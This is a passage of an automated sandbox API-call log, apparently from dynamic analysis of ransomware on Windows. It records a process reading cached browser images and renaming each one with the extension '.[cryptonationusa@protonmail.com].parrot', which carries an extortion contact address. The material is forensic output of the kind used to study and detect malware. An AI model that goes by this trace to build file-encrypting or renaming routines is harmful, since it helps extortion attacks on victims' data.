lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.866] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x234, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x234, lpOverlapped=0x0) returned 1 [0079.867] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.867] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.872] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.872] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.027] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.027] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ac7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2ac7, lpOverlapped=0x0) returned 1 [0080.028] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.028] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.032] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.032] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.033] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.033] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7c9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7c9, lpOverlapped=0x0) returned 1 [0080.034] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.034] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.037] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.037] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.039] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f19, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1f19, lpOverlapped=0x0) returned 1 [0080.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.040] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.043] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.043] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.045] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.045] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x711, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x711, lpOverlapped=0x0) returned 1 [0080.045] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.045] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.048] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.048] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.050] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.050] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2569, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2569, lpOverlapped=0x0) returned 1 [0080.051] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.051] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.054] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.054] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.056] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.056] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x30d2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x30d2, lpOverlapped=0x0) returned 1 [0080.057] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.057] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.060] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.060] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.063] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.063] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9b9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9b9, lpOverlapped=0x0) returned 1 [0080.063] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.063] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.066] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.066] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.068] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.068] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x48f4, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x48f4, lpOverlapped=0x0) returned 1 [0080.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.069] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e118 | out: hHeap=0x5b0000) returned 1 [0080.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.073] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.075] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.075] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c21, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c21, lpOverlapped=0x0) returned 1 [0080.076] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.076] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.079] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.079] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.080] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.081] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16bf, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x16bf, lpOverlapped=0x0) returned 1 [0080.081] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.082] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.084] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.085] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.086] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.086] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21feb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x21feb, lpOverlapped=0x0) returned 1 [0080.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.103] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0080.106] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.106] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.149] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12f9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x12f9, lpOverlapped=0x0) returned 1 [0080.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, 